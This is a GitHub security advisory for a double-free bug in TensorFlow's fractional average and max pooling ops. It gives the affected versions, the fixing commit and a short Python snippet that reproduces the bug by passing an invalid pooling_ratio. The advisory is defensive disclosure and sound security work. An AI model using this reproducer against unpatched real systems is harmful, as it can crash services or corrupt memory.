GHSA-f49c-87jh-g47q TensorFlow has double free in Fractional(Max/Avg)Pool

• PyPI tensorflow: < 2.11.1 → fixed in 2.11.1 • PyPI tensorflow-cpu: < 2.11.1 → fixed in 2.11.1 • PyPI tensorflow-gpu: < 2.11.1 → fixed in 2.11.1

Impact `nn_ops.fractional_avg_pool_v2` and `nn_ops.fractional_max_pool_v2` require the first and fourth elements of their parameter `pooling_ratio` to be equal to 1.0, as pooling on batch and channel dimensions is not supported. ```python import tensorflow as tf import os import numpy as np from tensorflow.python.ops import nn_ops try: arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64) arg_0 = tf.identity(arg_0_tensor) arg_1_0 = 2 arg_1_1 = 3 arg_1_2 = 1 arg_1_3 = 1 arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,] arg_2 = True arg_3 = True seed = 341261001 out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,) except Exception as e: print("Error:"+str(e)) ``` Patches We have patched the issue in GitHub commit ee50d1e00f81f62a4517453f721c634bbb478307. The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability was reported by dmc1778, of [email protected].